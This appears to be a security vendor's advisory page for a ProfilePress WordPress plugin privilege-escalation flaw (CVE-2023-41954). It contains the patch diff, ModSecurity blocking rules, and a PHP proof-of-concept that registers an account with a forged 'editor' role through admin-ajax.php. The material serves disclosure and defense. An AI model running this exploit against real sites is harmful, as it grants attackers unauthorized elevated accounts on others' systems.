+                    $days = $this->weeks * (int) static::getDaysPerWeek() + $value;
+                    $this->assertSafeForInteger('days total (including weeks)', $days);
+                    $this->d = $days;
+                    $this->handleDecimalPart('day', $days, $this->d);
                     break;
                 case 'hour':
+                    $this->checkIntegerValue($key, $value);
                     $this->h = $value;
+                    $this->handleDecimalPart('hour', $value, $this->h);
                     break;
                 case 'minute':
+                    $this->checkIntegerValue($key, $value);
                     $this->i = $value;
+                    $this->handleDecimalPart('minute', $value, $this->i);
                     break;
                 case 'second':
+                    $this->checkIntegerValue($key, $value);
                     $this->s = $value;
+                    $this->handleDecimalPart('second', $value, $this->s);
                     break;
                 case 'milli':
                 case 'millisecond':
@@ -2283,4 +2380,49 @@
                 return true;
         }
     }
+    private function checkIntegerValue(string $name, $value)
+    {
+        if (is_int($value)) {
+            return;
+        }
+        $this->assertSafeForInteger($name, $value);
+        if (is_float($value) && (float) (int) $value === $value) {
+            return;
+        }
+        if (!self::$floatSettersEnabled) {
+            $type = gettype($value);
+            @trigger_error("Since 2.70.0, it's deprecated to pass {$type} value for {$name}.n" . "It's truncated when stored as an integer interval unit.n" . "From 3.0.0, decimal part will no longer be truncated and will be cascaded to smaller units.n" . "- To maintain the current behavior, use explicit cast: {$name}((int) $value)n" . "- To adopt the new behavior globally, call CarbonInterval::enableFloatSetters()n", E_USER_DEPRECATED);
+        }
+    }
+    /**
+     * Throw an exception if precision loss when storing the given value as an integer would be >= 1.0.
+     */
+    private function assertSafeForInteger(string $name, $value)
+    {
+        if ($value && !is_int($value) && ($value >= 0x7fffffffffffffff || $value <= -0x7fffffffffffffff)) {
+            throw new OutOfRangeException($name, -0x7fffffffffffffff, 0x7fffffffffffffff, $value);
+        }
+    }
+    private function handleDecimalPart(string $unit, $value, $integerValue)
+    {
+        if (self::$floatSettersEnabled) {
+            $floatValue = (float) $value;
+            $base = (float) $integerValue;
+            if ($floatValue === $base) {
+                return;
+            }
+            $units = ['y' => 'year', 'm' => 'month', 'd' => 'day', 'h' => 'hour', 'i' => 'minute', 's' => 'second'];
+            $upper = true;
+            foreach ($units as $property => $name) {
+                if ($name === $unit) {
+                    $upper = false;
+                    continue;
+                }
+                if (!$upper && $this->{$property} !== 0) {
+                    throw new RuntimeException("You cannot set {$unit} to a float value as {$name} would be overridden, " . 'set it first to 0 explicitly if you really want to erase its value');
+                }
+            }
+            $this->add($unit, $floatValue - $base);
+        }
+    }
 }
--- a/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/CarbonPeriod.php
+++ b/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/CarbonPeriod.php
@@ -86,6 +86,10 @@
  * @method static static minute($minutes = 1) Alias for minutes().
  * @method static static seconds($seconds = 1) Create instance specifying a number of seconds for date interval or replace the interval by the given a number of seconds if called on an instance.
  * @method static static second($seconds = 1) Alias for seconds().
+ * @method static static milliseconds($milliseconds = 1) Create instance specifying a number of milliseconds for date interval or replace the interval by the given a number of milliseconds if called on an instance.
+ * @method static static millisecond($milliseconds = 1) Alias for milliseconds().
+ * @method static static microseconds($microseconds = 1) Create instance specifying a number of microseconds for date interval or replace the interval by the given a number of microseconds if called on an instance.
+ * @method static static microsecond($microseconds = 1) Alias for microseconds().
  * @method $this roundYear(float $precision = 1, string $function = "round") Round the current instance year with given precision using the given function.
  * @method $this roundYears(float $precision = 1, string $function = "round") Round the current instance year with given precision using the given function.
  * @method $this floorYear(float $precision = 1) Truncate the current instance year with given precision.
@@ -1495,6 +1499,10 @@
             case 'minute':
             case 'seconds':
             case 'second':
+            case 'milliseconds':
+            case 'millisecond':
+            case 'microseconds':
+            case 'microsecond':
                 return $this->setDateInterval([$this->isDefaultInterval ? new CarbonInterval('PT0S') : $this->dateInterval, $method](...$parameters));
         }
         if ($this->localStrictModeEnabled ?? Carbon::isStrictModeEnabled()) {
--- a/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/MessageFormatter/MessageFormatterMapper.php
+++ b/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/MessageFormatter/MessageFormatterMapper.php
@@ -13,8 +13,10 @@
 use ReflectionMethod;
 use ProfilePressVendorSymfonyComponentTranslationFormatterMessageFormatter;
 use ProfilePressVendorSymfonyComponentTranslationFormatterMessageFormatterInterface;
+// @codeCoverageIgnoreStart
 $transMethod = new ReflectionMethod(MessageFormatterInterface::class, 'format');
 require $transMethod->getParameters()[0]->hasType() ? __DIR__ . '/../../../lazy/Carbon/MessageFormatter/MessageFormatterMapperStrongType.php' : __DIR__ . '/../../../lazy/Carbon/MessageFormatter/MessageFormatterMapperWeakType.php';
+// @codeCoverageIgnoreEnd
 final class MessageFormatterMapper extends LazyMessageFormatter
 {
     /**
--- a/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/Traits/Date.php
+++ b/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/Traits/Date.php
@@ -1936,7 +1936,7 @@
             $replacements = ['d' => true, 'D' => 'ddd', 'j' => true, 'l' => 'dddd', 'N' => true, 'S' => function ($date) {
                 $day = $date->rawFormat('j');
                 return str_replace((string) $day, '', $date->isoFormat('Do'));
-            }, 'w' => true, 'z' => true, 'W' => true, 'F' => 'MMMM', 'm' => true, 'M' => 'MMM', 'n' => true, 't' => true, 'L' => true, 'o' => true, 'Y' => true, 'y' => true, 'a' => 'a', 'A' => 'A', 'B' => true, 'g' => true, 'G' => true, 'h' => true, 'H' => true, 'i' => true, 's' => true, 'u' => true, 'v' => true, 'E' => true, 'I' => true, 'O' => true, 'P' => true, 'Z' => true, 'c' => true, 'r' => true, 'U' => true];
+            }, 'w' => true, 'z' => true, 'W' => true, 'F' => 'MMMM', 'm' => true, 'M' => 'MMM', 'n' => true, 't' => true, 'L' => true, 'o' => true, 'Y' => true, 'y' => true, 'a' => 'a', 'A' => 'A', 'B' => true, 'g' => true, 'G' => true, 'h' => true, 'H' => true, 'i' => true, 's' => true, 'u' => true, 'v' => true, 'E' => true, 'I' => true, 'O' => true, 'P' => true, 'Z' => true, 'c' => true, 'r' => true, 'U' => true, 'T' => true];
         }
         return $replacements;
     }
--- a/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/Traits/IntervalRounding.php
+++ b/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/Traits/IntervalRounding.php
@@ -33,7 +33,7 @@
     {
         $unit = 'second';
         if ($precision instanceof DateInterval) {
-            $precision = (string) CarbonInterval::instance($precision);
+            $precision = (string) CarbonInterval::instance($precision, [], true);
         }
         if (is_string($precision) && preg_match('/^\s*(?<precision>\d+)?\s*(?<unit>\w+)(?<other>\W.*)?$/', $precision, $match)) {
             if (trim($match['other'] ?? '') !== '') {
--- a/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/Traits/Localization.php
+++ b/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/Traits/Localization.php
@@ -21,9 +21,11 @@
 use ProfilePressVendorSymfonyComponentTranslationTranslatorInterface;
 use ProfilePressVendorSymfonyContractsTranslationLocaleAwareInterface;
 use ProfilePressVendorSymfonyContractsTranslationTranslatorInterface as ContractsTranslatorInterface;
+// @codeCoverageIgnoreStart
 if (interface_exists('ProfilePressVendor\Symfony\Contracts\Translation\TranslatorInterface') && !interface_exists('ProfilePressVendor\Symfony\Component\Translation\TranslatorInterface')) {
     class_alias('ProfilePressVendor\Symfony\Contracts\Translation\TranslatorInterface', 'ProfilePressVendor\Symfony\Component\Translation\TranslatorInterface');
 }
+// @codeCoverageIgnoreEnd
 /**
  * Trait Localization.
  *
--- a/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/Traits/Units.php
+++ b/wp-user-avatar/third-party/vendor/nesbot/carbon/src/Carbon/Traits/Units.php
@@ -164,7 +164,7 @@
     public function add($unit, $value = 1, $overflow = null)
     {
         if (is_string($unit) && func_num_args() === 1) {
-            $unit = CarbonInterval::make($unit);
+            $unit = CarbonInterval::make($unit, [], true);
         }
         if ($unit instanceof CarbonConverterInterface) {
             return $this->resolveCarbon($unit->convertDate($this, false));
@@ -298,7 +298,7 @@
     public function sub($unit, $value = 1, $overflow = null)
     {
         if (is_string($unit) && func_num_args() === 1) {
-            $unit = CarbonInterval::make($unit);
+            $unit = CarbonInterval::make($unit, [], true);
         }
         if ($unit instanceof CarbonConverterInterface) {
             return $this->resolveCarbon($unit->convertDate($this, true));
@@ -328,7 +328,7 @@
     public function subtract($unit, $value = 1, $overflow = null)
     {
         if (is_string($unit) && func_num_args() === 1) {
-            $unit = CarbonInterval::make($unit);
+            $unit = CarbonInterval::make($unit, [], true);
         }
         return $this->sub($unit, $value, $overflow);
     }
--- a/wp-user-avatar/third-party/vendor/scoper-autoload.php
+++ b/wp-user-avatar/third-party/vendor/scoper-autoload.php
@@ -28,7 +28,7 @@
         }
     }
 }
-humbug_phpscoper_expose_class('ComposerAutoloaderInit3c561f0fd8b98b61cbccc0e66010c476', 'ProfilePressVendorComposerAutoloaderInit3c561f0fd8b98b61cbccc0e66010c476');
+humbug_phpscoper_expose_class('ComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d', 'ProfilePressVendorComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d');
 humbug_phpscoper_expose_class('PAnD', 'ProfilePressVendorPAnD');
 humbug_phpscoper_expose_class('PhpToken', 'ProfilePressVendorPhpToken');
 humbug_phpscoper_expose_class('ValueError', 'ProfilePressVendorValueError');
@@ -40,7 +40,7 @@
 // https://github.com/humbug/php-scoper/blob/master/docs/further-reading.md#function-aliases
 if (!function_exists('app')) { function app() { return ProfilePressVendorapp(...func_get_args()); } }
 if (!function_exists('calculateTranslationStatus')) { function calculateTranslationStatus() { return ProfilePressVendorcalculateTranslationStatus(...func_get_args()); } }
-if (!function_exists('composerRequire3c561f0fd8b98b61cbccc0e66010c476')) { function composerRequire3c561f0fd8b98b61cbccc0e66010c476() { return ProfilePressVendorcomposerRequire3c561f0fd8b98b61cbccc0e66010c476(...func_get_args()); } }
+if (!function_exists('composerRequire61c6ca2275b7bd07d3f61d1ac43bbf8d')) { function composerRequire61c6ca2275b7bd07d3f61d1ac43bbf8d() { return ProfilePressVendorcomposerRequire61c6ca2275b7bd07d3f61d1ac43bbf8d(...func_get_args()); } }
 if (!function_exists('extractLocaleFromFilePath')) { function extractLocaleFromFilePath() { return ProfilePressVendorextractLocaleFromFilePath(...func_get_args()); } }
 if (!function_exists('extractTranslationKeys')) { function extractTranslationKeys() { return ProfilePressVendorextractTranslationKeys(...func_get_args()); } }
 if (!function_exists('fdiv')) { function fdiv() { return ProfilePressVendorfdiv(...func_get_args()); } }
--- a/wp-user-avatar/wp-user-avatar.php
+++ b/wp-user-avatar/wp-user-avatar.php
@@ -3,7 +3,7 @@
  * Plugin Name: ProfilePress
  * Plugin URI: https://profilepress.com
  * Description: The modern WordPress membership and user profile plugin.
- * Version: 4.13.1
+ * Version: 4.13.2
  * Author: ProfilePress Membership Team
  * Author URI: https://profilepress.com
  * Text Domain: wp-user-avatar
@@ -13,7 +13,7 @@
 defined('ABSPATH') or die("No script kiddies please!");

 define('PROFILEPRESS_SYSTEM_FILE_PATH', __FILE__);
-define('PPRESS_VERSION_NUMBER', '4.13.1');
+define('PPRESS_VERSION_NUMBER', '4.13.2');

 if ( ! defined('PPRESS_STRIPE_API_VERSION')) {
     define('PPRESS_STRIPE_API_VERSION', '2022-11-15');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2023-41954
# This rule blocks attempts to exploit the ProfilePress privilege escalation by detecting
# registration requests that include a role selection parameter with elevated role values.
# It targets the admin-ajax.php endpoint with action=ppress_register and inspects the
# 'ppress_reg_select_role' parameter for non-subscriber roles.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2023-41954 via ProfilePress registration privilege escalation',severity:'CRITICAL',tag:'CVE-2023-41954'"
    SecRule ARGS_POST:action "@streq ppress_register" "chain"
        SecRule ARGS_POST:ppress_reg_select_role "@rx ^(editor|author|contributor|administrator)$" "t:lowercase"

# Also protect against direct registration form submissions (non-AJAX) that include the role parameter
SecRule REQUEST_URI "@rx ^/wp-json/ppress/" 
    "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2023-41954 via ProfilePress REST registration privilege escalation',severity:'CRITICAL',tag:'CVE-2023-41954'"
    SecRule ARGS_POST:ppress_reg_select_role "@rx ^(editor|author|contributor|administrator)$" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2023-41954 - ProfilePress <= 4.13.1 - Limited Privilege Escalation via 'acceptable_defined_roles'

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Discover the registration form page or AJAX endpoint
// Common endpoints: /wp-admin/admin-ajax.php?action=ppress_register or a page with [profilepress-registration] shortcode

// Step 2: Craft a registration request with a manipulated role selection
// The exact parameter name depends on the form configuration; here we assume 'ppress_reg_select_role'
$registration_data = [
    'action' => 'ppress_register', // if using admin-ajax
    'username' => 'attacker_' . time(),
    'email' => 'attacker_' . time() . '@example.com',
    'password' => 'Password123!',
    'ppress_reg_select_role' => 'editor', // Attempt to register as editor
    // Additional required fields may be needed based on form settings
];

// Step 3: Send the request using cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($registration_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Check response for successful registration or error
if ($http_code == 200) {
    echo "[+] Request sent. Response: " . substr($response, 0, 500) . "n";
    echo "[+] If registration succeeded, attacker now has an editor account.n";
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

// Note: This PoC assumes the vulnerable form allows role selection via a parameter.
// In some configurations, the attack may require manipulating the form builder settings
// if the attacker has access to create or modify registration forms.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.